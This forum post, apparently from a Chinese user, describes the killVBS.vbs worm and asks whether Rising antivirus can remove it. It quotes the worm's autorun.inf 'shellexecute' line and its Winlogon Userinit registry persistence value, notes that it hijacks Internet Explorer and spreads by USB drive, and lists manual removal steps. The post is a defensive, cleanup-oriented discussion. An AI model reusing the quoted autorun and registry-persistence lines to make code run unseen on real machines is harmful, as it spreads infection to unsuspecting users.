关于killVBS.vbs病毒,瑞星可以查杀么?~
病毒特征1
根目录下生成autorun.inf 文件
代码如下:
killVBS.vbs
shellexecute=wscript.exe killVBS.vbs
病毒特征2
C:\WINDOWS\SYSTEM 下生成killVBS.vbs vbs脚本通过宿主wscript.exe 运行
串改注册表启动项填加
C:\WINDOWS1\system32\userinit.exe,C:\WINDOWS1\system32\wscript.exe C:\WINDOWS1\system32\killVBS.vbs
killVBS.vbs vbs脚本代码具体如下:
'**********************************************************

病毒表现如下
1串改IE
2防删除自我复制
3感染U盘
手动利用瑞星卡卡杀毒.
1破坏病毒autorun.inf 修改autorun.inf名称如:a.inf后马上建立autorun.inf文件夹进行autorun.inf免疫创建..\文件夹
2利用瑞星卡卡查出wscript.exe 进程结束进程
3找到C:\WINDOWS\SYSTEM\killVBS.vbs 删除
4利用瑞星卡卡系统启动项管理修改
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 下键值 C:\WINDOWS1\system32\userinit.exe,C:\WINDOWS1\system32\wscript.exe C:\WINDOWS1\system32\killVBS.vbs
删除C:\WINDOWS1\system32\killVBS.vbs
5利用瑞星卡卡恢复IE

这样是不是大功告成了`
呵呵`请各位高手多多指教`我目前只能修复到这里
P@S用瑞星正版能直接查杀,么?~
